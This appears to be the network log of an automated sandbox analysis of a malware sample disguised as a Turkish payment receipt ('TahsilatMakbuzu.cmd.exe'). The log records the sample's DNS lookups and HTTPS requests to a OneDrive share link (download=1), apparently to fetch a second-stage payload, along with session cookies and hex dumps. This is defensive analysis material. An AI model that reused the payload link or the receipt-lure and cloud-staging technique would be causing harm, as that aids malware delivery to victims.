Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 4, 2024 20:15:51.506176949 CEST	1.1.1.1	192.168.2.6	0xbe87	No error (0)	1drv.ms		13.107.42.12	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:15:52.368892908 CEST	1.1.1.1	192.168.2.6	0xc676	No error (0)	onedrive.live.com	web.fe.1drv.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 4, 2024 20:15:52.368892908 CEST	1.1.1.1	192.168.2.6	0xc676	No error (0)	web.fe.1drv.com	odc-web-geo.onedrive.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 4, 2024 20:15:52.368892908 CEST	1.1.1.1	192.168.2.6	0xc676	No error (0)	odwebpl.trafficmanager.net.dual-spov-0006.spov-msedge.net	dual-spov-0006.spov-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 4, 2024 20:15:52.368892908 CEST	1.1.1.1	192.168.2.6	0xc676	No error (0)	dual-spov-0006.spov-msedge.net		13.107.139.11	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:15:52.368892908 CEST	1.1.1.1	192.168.2.6	0xc676	No error (0)	dual-spov-0006.spov-msedge.net		13.107.137.11	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:16:33.513015032 CEST	1.1.1.1	192.168.2.6	0x2b12	No error (0)	onedrive.live.com	web.fe.1drv.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 4, 2024 20:16:33.513015032 CEST	1.1.1.1	192.168.2.6	0x2b12	No error (0)	web.fe.1drv.com	odc-web-geo.onedrive.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 4, 2024 20:16:33.513015032 CEST	1.1.1.1	192.168.2.6	0x2b12	No error (0)	odwebpl.trafficmanager.net.dual-spov-0006.spov-msedge.net	dual-spov-0006.spov-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 4, 2024 20:16:33.513015032 CEST	1.1.1.1	192.168.2.6	0x2b12	No error (0)	dual-spov-0006.spov-msedge.net		13.107.139.11	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:16:33.513015032 CEST	1.1.1.1	192.168.2.6	0x2b12	No error (0)	dual-spov-0006.spov-msedge.net		13.107.137.11	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:16:41.556952953 CEST	1.1.1.1	192.168.2.6	0x6ec6	No error (0)	1drv.ms		13.107.42.12	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:16:49.544173002 CEST	1.1.1.1	192.168.2.6	0x1593	No error (0)	onedrive.live.com	web.fe.1drv.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 4, 2024 20:16:49.544173002 CEST	1.1.1.1	192.168.2.6	0x1593	No error (0)	web.fe.1drv.com	odc-web-geo.onedrive.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 4, 2024 20:16:49.544173002 CEST	1.1.1.1	192.168.2.6	0x1593	No error (0)	odwebpl.trafficmanager.net.dual-spov-0006.spov-msedge.net	dual-spov-0006.spov-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 4, 2024 20:16:49.544173002 CEST	1.1.1.1	192.168.2.6	0x1593	No error (0)	dual-spov-0006.spov-msedge.net		13.107.137.11	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:16:49.544173002 CEST	1.1.1.1	192.168.2.6	0x1593	No error (0)	dual-spov-0006.spov-msedge.net		13.107.139.11	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:16:54.318433046 CEST	1.1.1.1	192.168.2.6	0xafe6	No error (0)	onedrive.live.com	web.fe.1drv.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 4, 2024 20:16:54.318433046 CEST	1.1.1.1	192.168.2.6	0xafe6	No error (0)	web.fe.1drv.com	odc-web-geo.onedrive.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 4, 2024 20:16:54.318433046 CEST	1.1.1.1	192.168.2.6	0xafe6	No error (0)	odwebpl.trafficmanager.net.dual-spov-0006.spov-msedge.net	dual-spov-0006.spov-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 4, 2024 20:16:54.318433046 CEST	1.1.1.1	192.168.2.6	0xafe6	No error (0)	dual-spov-0006.spov-msedge.net		13.107.139.11	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:16:54.318433046 CEST	1.1.1.1	192.168.2.6	0xafe6	No error (0)	dual-spov-0006.spov-msedge.net		13.107.137.11	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:17:02.187011003 CEST	1.1.1.1	192.168.2.6	0x58a0	No error (0)	1drv.ms		13.107.42.12	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:17:02.966914892 CEST	1.1.1.1	192.168.2.6	0x889b	No error (0)	onedrive.live.com	web.fe.1drv.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 4, 2024 20:17:02.966914892 CEST	1.1.1.1	192.168.2.6	0x889b	No error (0)	web.fe.1drv.com	odc-web-geo.onedrive.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 4, 2024 20:17:02.966914892 CEST	1.1.1.1	192.168.2.6	0x889b	No error (0)	odwebpl.trafficmanager.net.dual-spov-0006.spov-msedge.net	dual-spov-0006.spov-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 4, 2024 20:17:02.966914892 CEST	1.1.1.1	192.168.2.6	0x889b	No error (0)	dual-spov-0006.spov-msedge.net		13.107.137.11	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:17:02.966914892 CEST	1.1.1.1	192.168.2.6	0x889b	No error (0)	dual-spov-0006.spov-msedge.net		13.107.139.11	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:17:31.350579023 CEST	1.1.1.1	192.168.2.6	0x1546	No error (0)	onedrive.live.com	web.fe.1drv.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 4, 2024 20:17:31.350579023 CEST	1.1.1.1	192.168.2.6	0x1546	No error (0)	web.fe.1drv.com	odc-web-geo.onedrive.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 4, 2024 20:17:31.350579023 CEST	1.1.1.1	192.168.2.6	0x1546	No error (0)	odwebpl.trafficmanager.net.dual-spov-0006.spov-msedge.net	dual-spov-0006.spov-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 4, 2024 20:17:31.350579023 CEST	1.1.1.1	192.168.2.6	0x1546	No error (0)	dual-spov-0006.spov-msedge.net		13.107.137.11	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:17:31.350579023 CEST	1.1.1.1	192.168.2.6	0x1546	No error (0)	dual-spov-0006.spov-msedge.net		13.107.139.11	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:17:48.701020002 CEST	1.1.1.1	192.168.2.6	0x3394	No error (0)	1drv.ms		13.107.42.12	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:18:13.033248901 CEST	1.1.1.1	192.168.2.6	0xa62b	No error (0)	onedrive.live.com	web.fe.1drv.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 4, 2024 20:18:13.033248901 CEST	1.1.1.1	192.168.2.6	0xa62b	No error (0)	web.fe.1drv.com	odc-web-geo.onedrive.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 4, 2024 20:18:13.033248901 CEST	1.1.1.1	192.168.2.6	0xa62b	No error (0)	odwebpl.trafficmanager.net.dual-spov-0006.spov-msedge.net	dual-spov-0006.spov-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 4, 2024 20:18:13.033248901 CEST	1.1.1.1	192.168.2.6	0xa62b	No error (0)	dual-spov-0006.spov-msedge.net		13.107.137.11	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:18:13.033248901 CEST	1.1.1.1	192.168.2.6	0xa62b	No error (0)	dual-spov-0006.spov-msedge.net		13.107.139.11	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:18:23.933794975 CEST	1.1.1.1	192.168.2.6	0x1b36	No error (0)	onedrive.live.com	web.fe.1drv.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 4, 2024 20:18:23.933794975 CEST	1.1.1.1	192.168.2.6	0x1b36	No error (0)	web.fe.1drv.com	odc-web-geo.onedrive.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 4, 2024 20:18:23.933794975 CEST	1.1.1.1	192.168.2.6	0x1b36	No error (0)	odwebpl.trafficmanager.net.dual-spov-0006.spov-msedge.net	dual-spov-0006.spov-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 4, 2024 20:18:23.933794975 CEST	1.1.1.1	192.168.2.6	0x1b36	No error (0)	dual-spov-0006.spov-msedge.net		13.107.137.11	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:18:23.933794975 CEST	1.1.1.1	192.168.2.6	0x1b36	No error (0)	dual-spov-0006.spov-msedge.net		13.107.139.11	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:18:26.246500015 CEST	1.1.1.1	192.168.2.6	0x89c9	No error (0)	1drv.ms		13.107.42.12	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:18:34.078866005 CEST	1.1.1.1	192.168.2.6	0x2141	No error (0)	onedrive.live.com	web.fe.1drv.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 4, 2024 20:18:34.078866005 CEST	1.1.1.1	192.168.2.6	0x2141	No error (0)	web.fe.1drv.com	odc-web-geo.onedrive.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 4, 2024 20:18:34.078866005 CEST	1.1.1.1	192.168.2.6	0x2141	No error (0)	odwebpl.trafficmanager.net.dual-spov-0006.spov-msedge.net	dual-spov-0006.spov-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 4, 2024 20:18:34.078866005 CEST	1.1.1.1	192.168.2.6	0x2141	No error (0)	dual-spov-0006.spov-msedge.net		13.107.139.11	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:18:34.078866005 CEST	1.1.1.1	192.168.2.6	0x2141	No error (0)	dual-spov-0006.spov-msedge.net		13.107.137.11	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:19:05.141082048 CEST	1.1.1.1	192.168.2.6	0x3214	No error (0)	1drv.ms		13.107.42.12	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:19:08.682197094 CEST	1.1.1.1	192.168.2.6	0x6700	No error (0)	onedrive.live.com	web.fe.1drv.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 4, 2024 20:19:08.682197094 CEST	1.1.1.1	192.168.2.6	0x6700	No error (0)	web.fe.1drv.com	odc-web-geo.onedrive.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 4, 2024 20:19:08.682197094 CEST	1.1.1.1	192.168.2.6	0x6700	No error (0)	odwebpl.trafficmanager.net.dual-spov-0006.spov-msedge.net	dual-spov-0006.spov-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 4, 2024 20:19:08.682197094 CEST	1.1.1.1	192.168.2.6	0x6700	No error (0)	dual-spov-0006.spov-msedge.net		13.107.139.11	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:19:08.682197094 CEST	1.1.1.1	192.168.2.6	0x6700	No error (0)	dual-spov-0006.spov-msedge.net		13.107.137.11	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:19:31.378953934 CEST	1.1.1.1	192.168.2.6	0x16ec	No error (0)	1drv.ms		13.107.42.12	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:19:37.834146023 CEST	1.1.1.1	192.168.2.6	0x3b55	No error (0)	1drv.ms		13.107.42.12	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:19:41.866277933 CEST	1.1.1.1	192.168.2.6	0xd05	No error (0)	onedrive.live.com	web.fe.1drv.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 4, 2024 20:19:41.866277933 CEST	1.1.1.1	192.168.2.6	0xd05	No error (0)	web.fe.1drv.com	odc-web-geo.onedrive.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 4, 2024 20:19:41.866277933 CEST	1.1.1.1	192.168.2.6	0xd05	No error (0)	odwebpl.trafficmanager.net.dual-spov-0006.spov-msedge.net	dual-spov-0006.spov-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 4, 2024 20:19:41.866277933 CEST	1.1.1.1	192.168.2.6	0xd05	No error (0)	dual-spov-0006.spov-msedge.net		13.107.137.11	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:19:41.866277933 CEST	1.1.1.1	192.168.2.6	0xd05	No error (0)	dual-spov-0006.spov-msedge.net		13.107.139.11	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

1drv.ms

onedrive.live.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49710	13.107.42.12	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:15:52 UTC	99	OUT	GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1 Host: 1drv.ms Connection: Keep-Alive
2024-07-04 18:15:52 UTC	592	IN	HTTP/1.1 301 Moved Permanently Location: https://onedrive.live.com/redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ X-MSNSERVER: DS1PPF18B77365F Strict-Transport-Security: max-age=31536000; includeSubDomains MS-CV: 2A5dAq+Dl0KUK1bjlVIYxA.0 X-AsmVersion: UNKNOWN; 19.1445.617.2015 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 003C40737055413DBCECB9A94C0EDC0A Ref B: EWR30EDGE0212 Ref C: 2024-07-04T18:15:52Z Date: Thu, 04 Jul 2024 18:15:51 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49711	13.107.139.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:15:52 UTC	215	OUT	GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1 Host: onedrive.live.com Connection: Keep-Alive
2024-07-04 18:15:53 UTC	2220	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Length: 311 Content-Type: text/html; charset=utf-8 Expires: -1 Location: /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd Set-Cookie: E=P:Dv5KV1Wc3Ig=:qtQX13l08k+/qyuvXe/5UV57UXVkbSL0+O7dwZI2U1k=:F; domain=.live.com; path=/ Set-Cookie: xid=94186ad3-1f95-4ed8-9185-377c53854fa7&&ODSP-ODWEB-ODCF&228; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Thu, 04-Jul-2024 16:35:53 GMT; path=/ Set-Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxNzUzLCJuYmYiOjE3MjAxMTY5NTMsImdpdmVuX25hbWUiOiI3MyIsImZhbWlseV9uYW1lIjoiV29tYmF0IiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiMDVjMDc5ZjllMDkyOGRkYTZiM2I5MjBkN2M1ODRkZjIiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNjk1M30.flPETEmDTMFOBZ-HwXLLoViZstjkXIgT8GEFnBeLQ2Sj0RbZmz1e8aCuX5ExcS-sN7VS8PG4YTHmBgi05ZVLxEgs1hZPUTbNjM3Wi5SIFBDpBu_Nu80V_ZqNguxos2d5FLaXY9GtIIxRsdJkL6Lz3-Oj6njfMempHRQw4FcXMcxkxhQ72GtZM1djnM0tuABQ_XRJP5nxfL0IoPmVvFdf7EUZ3I8FjMlXkyMjoNk-rdCW7Gh4oOVAemvT0n3sRlEbD7CGbfSk4zgUhSHXPsbzRLg04zq0pNQNBJ1n4lnTqPDdaTBJP1MtKwx94P00pSa3gr1MUHJY2Mn-NeNjRK_ACA; path=/; SameSite=None; secure Set-Cookie: wla42=; domain=live.com; expires=Thu, 11-Jul-2024 18:15:53 GMT; path=/ X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 798f966fd6-mzl79 X-ODWebServer: nameastus2946819-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 2ABE45D224414B0384591729AD18CD94 Ref B: BN3EDGE0716 Ref C: 2024-07-04T18:15:53Z Date: Thu, 04 Jul 2024 18:15:53 GMT Connection: close
2024-07-04 18:15:53 UTC	311	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 2f 3f 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 73 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 64 65 65 6d 3d 61 48 52 30 63 48 4d 36 4c 79 38 78 5a 48 4a 32 4c 6d 31 7a 4c 33 55 76 63 79 46 42 63 6a 4e 6f 64 46 52 6e 53 57 5a 44 64 56 39 6b 53 6e 46 48 58 33 4a 31 55 44 46 4f 4d 6d 6c 4d 5a 6d 4d 5f 5a 47 39 33 62 6d 78 76 59 57 51 39 4d 51 26 61 6d 70 3b 6d 69 67 72 61 74 65 64 74 6f 73 70 6f 3d 74 72 75 65 26 61 6d Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="/?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&am

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49712	13.107.139.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:15:54 UTC	1288	OUT	GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1 Host: onedrive.live.com Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxNzUzLCJuYmYiOjE3MjAxMTY5NTMsImdpdmVuX25hbWUiOiI3MyIsImZhbWlseV9uYW1lIjoiV29tYmF0IiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiMDVjMDc5ZjllMDkyOGRkYTZiM2I5MjBkN2M1ODRkZjIiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNjk1M30.flPETEmDTMFOBZ-HwXLLoViZstjkXIgT8GEFnBeLQ2Sj0RbZmz1e8aCuX5ExcS-sN7VS8PG4YTHmBgi05ZVLxEgs1hZPUTbNjM3Wi5SIFBDpBu_Nu80V_ZqNguxos2d5FLaXY9GtIIxRsdJkL6Lz3-Oj6njfMempHRQw4FcXMcxkxhQ72GtZM1djnM0tuABQ_XRJP5nxfL0IoPmVvFdf7EUZ3I8FjMlXkyMjoNk-rdCW7Gh4oOVAemvT0n3sRlEbD7CGbfSk4zgUhSHXPsbzRLg04zq0pNQNBJ1n4lnTqPDdaTBJP1MtKwx94P00pSa3gr1MUHJY2Mn-NeNjRK_ACA; E=P:Dv5KV1Wc3Ig=:qtQX13l08k+/qyuvXe/5UV57UXVkbSL0+O7dwZI2U1k=:F; xid=94186ad3-1f95-4ed8-9185-377c53854 [TRUNCATED]
2024-07-04 18:15:54 UTC	1923	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 205869 Content-Type: text/html; charset=utf-8 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" WWW-Authenticate: Wlid1.1 realm="WindowsLive", fault="BadContextToken", policy="MBI_SSL", ver="7.5.0.0", target="ssl.live.com", siteId="ssl.live.com" X-NetworkStatistics: 0,525568,0,0,3908,0,32360,27 X-SharePointHealthScore: 0 Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-AspNet-Version: 4.0.30319 X-DataBoundary: NONE X-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/ SPRequestGuid: 291239a1-f0d8-5000-ee41-e74adb255436 request-id: 291239a1-f0d8-5000-ee41-e74adb255436 MS-CV: oTkSKdjwAFDuQedK2yVUNg.0 Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com .powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com *.onedrive.live.com securebroker.sharepointonline.com; SPRequestDuration: 35 SPIisLatency: 3 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25012 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: D8A646E274EE481A9691BA31BF03816B Ref B: BN3EDGE1112 Ref C: 2024-07-04T18:15:54Z Date: Thu, 04 Jul 2024 18:15:53 GMT Connection: close
2024-07-04 18:15:54 UTC	629	IN	Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 64 69 72 3d 22 6c 74 72 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 20 2f 3e Data Ascii: <!DOCTYPE html><html lang="en-us" dir="ltr"> <head><meta http-equiv="Content-type" content="text/html; charset=utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=no" />
2024-07-04 18:15:54 UTC	8192	IN	Data Raw: 22 69 73 41 75 74 68 65 6e 74 69 63 61 74 65 64 22 3a 66 61 6c 73 65 2c 22 65 6d 61 69 6c 22 3a 22 55 6e 41 75 74 68 22 2c 22 6d 6b 74 22 3a 22 65 6e 2d 55 53 22 2c 22 6d 6b 74 4c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6c 61 6e 67 22 3a 22 65 6e 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 22 2c 22 70 61 67 65 52 65 73 70 6f 6e 73 65 53 74 61 72 74 54 69 6d 65 22 3a 31 37 32 30 31 31 36 39 35 34 35 32 36 7d 3b 20 76 61 72 20 46 69 6c 65 73 43 6f 6e 66 69 67 3d 7b 22 68 63 69 64 22 3a 22 55 6e 41 75 74 68 22 2c 22 61 70 70 49 64 22 3a 22 31 31 34 31 31 34 37 36 34 38 22 2c 22 6e 61 76 43 61 6e 61 72 79 22 3a 22 22 2c 22 63 61 6e 61 72 79 22 3a 22 22 2c 22 73 6b 79 41 70 69 43 61 6e 61 72 79 22 3a 22 22 2c 22 65 6e 76 22 3a 22 70 72 6f 64 22 2c 22 64 66 Data Ascii: "isAuthenticated":false,"email":"UnAuth","mkt":"en-US","mktLocale":"en-US","lang":"en","country":"","pageResponseStartTime":1720116954526}; var FilesConfig={"hcid":"UnAuth","appId":"1141147648","navCanary":"","canary":"","skyApiCanary":"","env":"prod","df
2024-07-04 18:15:54 UTC	5758	IN	Data Raw: 39 38 2d 41 30 34 43 2d 34 41 45 38 2d 42 38 43 33 2d 34 38 32 34 35 39 41 35 43 38 42 32 22 3a 74 72 75 65 2c 22 39 34 37 32 31 31 42 45 2d 30 35 35 30 2d 34 33 33 44 2d 42 39 32 45 2d 33 44 43 39 41 32 37 30 34 31 41 32 22 3a 74 72 75 65 2c 22 38 38 32 43 30 41 44 38 2d 35 45 45 39 2d 34 33 39 42 2d 42 43 35 31 2d 31 31 31 34 43 37 45 33 34 31 33 41 22 3a 74 72 75 65 2c 22 37 31 46 43 43 36 36 39 2d 30 42 30 30 2d 34 44 43 36 2d 41 34 37 44 2d 43 38 46 37 32 30 46 44 41 32 31 37 22 3a 74 72 75 65 2c 22 33 46 45 41 41 33 39 38 2d 36 42 45 43 2d 34 33 43 46 2d 41 30 41 42 2d 42 30 31 46 35 39 39 34 35 37 43 42 22 3a 74 72 75 65 2c 22 44 41 44 37 36 42 36 46 2d 43 34 30 44 2d 34 35 38 38 2d 38 44 43 37 2d 31 34 33 43 36 43 37 41 31 36 44 45 22 3a 74 72 75 Data Ascii: 98-A04C-4AE8-B8C3-482459A5C8B2":true,"947211BE-0550-433D-B92E-3DC9A27041A2":true,"882C0AD8-5EE9-439B-BC51-1114C7E3413A":true,"71FCC669-0B00-4DC6-A47D-C8F720FDA217":true,"3FEAA398-6BEC-43CF-A0AB-B01F599457CB":true,"DAD76B6F-C40D-4588-8DC7-143C6C7A16DE":tru
2024-07-04 18:15:54 UTC	8192	IN	Data Raw: 33 30 38 45 46 30 31 30 2d 44 37 35 42 2d 34 44 36 41 2d 38 36 41 35 2d 33 46 44 37 44 34 45 46 33 34 45 32 22 3a 74 72 75 65 2c 22 42 39 30 44 41 35 46 39 2d 42 41 37 35 2d 34 42 43 43 2d 41 33 45 30 2d 39 46 39 41 42 45 30 36 46 46 35 39 22 3a 74 72 75 65 2c 22 37 33 39 33 39 43 35 46 2d 34 32 37 42 2d 34 43 30 32 2d 42 30 38 42 2d 35 30 45 37 37 38 41 42 44 46 34 42 22 3a 74 72 75 65 2c 22 33 36 45 33 33 36 38 38 2d 37 30 45 44 2d 34 39 34 41 2d 41 39 32 31 2d 37 30 35 46 33 30 38 43 31 30 41 36 22 3a 74 72 75 65 2c 22 30 35 34 36 46 30 36 35 2d 43 33 34 37 2d 34 41 44 30 2d 38 38 36 44 2d 38 44 38 34 36 39 37 33 44 43 36 38 22 3a 74 72 75 65 2c 22 32 36 36 46 33 42 42 